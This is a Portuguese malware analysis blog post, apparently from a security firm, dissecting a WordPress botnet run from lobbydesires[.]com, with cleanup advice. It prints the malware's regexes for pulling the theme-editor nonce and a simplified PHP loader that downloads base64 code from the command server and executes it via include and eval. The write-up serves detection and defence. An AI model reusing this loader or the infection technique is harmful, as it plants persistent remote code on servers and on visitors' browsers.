Lobbydesires botnet
Recentemente, a Oxydian foi alertada sobre o mau funcionamento de sites WordPress. Um exame desses sites revelou que estavam infectados por uma pequena botnet, desconhecida e muito recente. Esse tipo de comprometimento de um site faz parte dos alvos verificados em uma auditoria intrusiva. Segue a análise:
EDIT 14/07/20: aqui estão os scripts que permitem detectar e limpar este malware:
https://github.com/Guiomuh
/WP_Redirect_Botnet_Cleaner
Análise geral
Tudo começou com a descoberta do seguinte payload JavaScript suspeito em um site WordPress:
Logo fica claro que o site https://lobbydesires[.]com é um servidor C&C (Command and Control) que hospeda o código malicioso deste malware. Isso permite ao atacante alterar à vontade as funcionalidades da botnet.
Para iniciar a análise geral deste malware, um simples WHOIS no nome de domínio utilizado mostra que o site está hospedado nos Países Baixos e que foi registrado em 29 de junho de 2020, ou seja, há apenas 4 dias. E, em tão poucos dias, muitos sites já foram infectados!
É possível, de fato, usar a seguinte pesquisa no Google para listar a parte dos sites infectados que foram indexados desde a infecção:
intext:lobbydesires[.]com/location.js
No momento, 260 sites aparecem nos resultados, mas o número real deve ser bem maior, considerando o tempo que os bots do Google levam para reindexar um site.
Análise técnica: location.js
Este é o código do arquivo location.js, que é obtido no site lobbydesires.com e depois executado a cada visita a uma página infectada.
Vale lembrar que aqui se trata de código JavaScript: ele é executado no navegador da pessoa que visita o site, e não no próprio site
Nota-se que o código foi ofuscado, e será preciso algum trabalho para torná-lo compreensível.
Após um pouco de limpeza, encontram-se neste arquivo 3 funções JS:
check_adm()
make_theme()
reqListener()
reqListener()
A última função, reqListener(), está vazia, o que sugere que a botnet ainda não está concluída; esse ponto será retomado mais adiante.
check_admin()
Esta é a função principal do malware: é ela que é executada após a definição das funções. Ela verifica, por meio dos cookies, se o usuário que visita a página infectada é o administrador do site WordPress. Se não for, o usuário é redirecionado para a página de login. Se for o administrador, a função make_theme() é então chamada.
O princípio desse mecanismo é bloquear a página até que o administrador a visite, um truque bastante ardiloso..
make_theme()
Esta função começa fazendo uma requisição GET para o seguinte endereço:
http://[victime.com]/wp-admin/theme-editor.php?file=header.php
Esta é a página do WordPress que permite ao administrador modificar o tema atual. Aqui, mais especificamente, o arquivo header.php do tema.
O malware então extrai algumas informações da página por meio de expressões regulares. Essas informações serão necessárias para interagir com a página mais tarde.
i = /name=”newcontent”.*?[>]([\/\s\/\S]*?)<\/textarea/g.exec(n),
d = /<option.*?value=”(.*?)”.*?selected/g.exec(n),
p = /name=”nonce”([ ]+)value=”([^”]+)”/g.exec(n);
- i[1] contém o conteúdo de header.php antes da modificação
- d[1] contém o nome do tema utilizado
- p[2] contém o valor do nonce que será utilizado nas próximas requisições
Em seguida, a função verifica se o tema já está infectado, procurando a presença da string “sdfsd23” (presente no 2º payload (PHP), apresentado abaixo). Se o tema ainda não estiver infectado, 2 payloads são adicionados no início dele. Um em JavaScript, semelhante ao anterior:
E outro contendo código PHP: (simplificado aqui para facilitar a compreensão)
<?php
$a = https://lobbydesires[.]com/n.txt;
$b = "sdfsd234";
file_put_contents($b,"<?php".base64_decode(file_get_contents($a)));
include($b);
unlink($b);
eval(base64_decode(file_get_contents($a)));
?>
Esse código PHP é, portanto, executado no servidor a cada carregamento de página. Mas o que ele faz?
Análise técnica: persistência no tema WP
O payload PHP anterior se encarrega de baixar e executar o arquivo https://lobbydesires[.]com/n.txt
Esse arquivo é um script PHP codificado em base64
Vale lembrar que aqui se trata de código PHP: ele é executado no servidor infectado
O núcleo desse arquivo contém várias funções, mas, simplificando, ele procura arquivos específicos a partir da raiz do servidor para infectá-los.
Isso implica que os outros sites hospedados no mesmo servidor também podem ser infectados!
Essa busca pode ser dividida em 4 partes:
- A busca pelo arquivo wp-config.php
- A busca por arquivos cujo nome contém “.ph” ou “.htm”
- A busca por arquivos cujo nome contém “index.” e (“.ph” ou “.htm”)
- A busca por arquivos cujo nome contém “.js”
Embora o método de busca não seja ideal, fica claro que o malware mira os arquivos JS, PHP e HTML. Em cada caso, um payload JavaScript semelhante aos anteriores é adicionado ao arquivo encontrado, exceto no caso do wp-config.php
De fato, uma vez encontrado, esse arquivo é percorrido em busca das credenciais do banco de dados SQL do WordPress. Elas são então usadas para adicionar o payload JavaScript a todos os posts do WordPress.
Uma botnet bebê?
Como indicado anteriormente, esta botnet não parece concluída. Além de ainda não dispor de payloads que permitam lançar ataques, algumas funcionalidades estão incompletas.
Para citar apenas um exemplo, há o arquivo rebut.log:
Esse arquivo, criado durante a execução do código PHP malicioso, contém a data da última execução desse código. Ele é usado no início da execução para verificar se a última execução ocorreu há mais ou menos de 6400 segundos, provavelmente para evitar que o malware seja reexecutado a cada carregamento de página, o que poderia deixar o site muito lento. No entanto, nos 2 casos, a mesma coisa é executada, o que é incoerente..
O nome desse arquivo, rebut.log (“refugo” em francês), parece ser um indício de que o atacante é francófono..
Além disso, nota-se que os payloads JavaScript têm um parâmetro não utilizado que indica de onde foram chamados. Em resumo:
location.js?i=1 -> from index.php
location.js?s=1 -> from .php .htm or JS
location.js?qs=1 -> from SQL DB article
location.js?v=1 -> from Infected Theme (header.php)
Além disso, nota-se uma grande redundância de código, o que pode ser um indício da inexperiência de seu criador.
Por fim, observa-se a ausência de redundância do servidor de controle. Normalmente, nesse tipo de malware, vários servidores infectados são usados de forma redundante para armazenar os arquivos de código, para que o atacante mantenha o controle da botnet mesmo que um servidor seja denunciado.
Neste caso, um único servidor é utilizado e ele já foi denunciado 😀, portanto é questão de tempo até que esta botnet se torne inutilizável.
EDIT (05/07/2020): o servidor não está mais disponível
Conclusão
Embora atualmente inofensivo, este vírus é muito persistente e se atualiza a cada visita a uma página infectada. Isso pode mudar em breve, e esta botnet poderia rapidamente revelar sua verdadeira função. Por isso, é essencial limpar um site que tenha sido infectado. Para isso, a Oxydian publicou um script que permite fazer uma limpeza completa deste malware. De fato, como o malware é muito persistente, esquecer uma única página bastaria para provocar a reinfecção completa dos sites hospedados no servidor.
Enquanto isso, uma correção rápida seria bloquear o domínio lobbydesires[.]com no firewall ou, na falta disso, adicioná-lo ao arquivo hosts. Essa correção, porém, não é completa: ela apenas impede o download e, portanto, a atualização do payload PHP inserido no tema.
Resta a questão de como ocorreu a primeira infecção. Uma hipótese seria a presença de uma falha XSS Stored em um WordPress ou em um plugin desatualizado. Falhas desse tipo são comuns e permitiriam injetar o payload JS inicial, infectando assim a primeira página, que depois infectaria todo o site caso fosse visitada pelo administrador. A mesma família de falhas de aplicação é pesquisada na análise do mitm6, uma tomada de controle da rede interna via IPv6.
Recomendações: para se proteger contra esse tipo de ataque, é imprescindível manter o site WordPress e seus plugins atualizados!
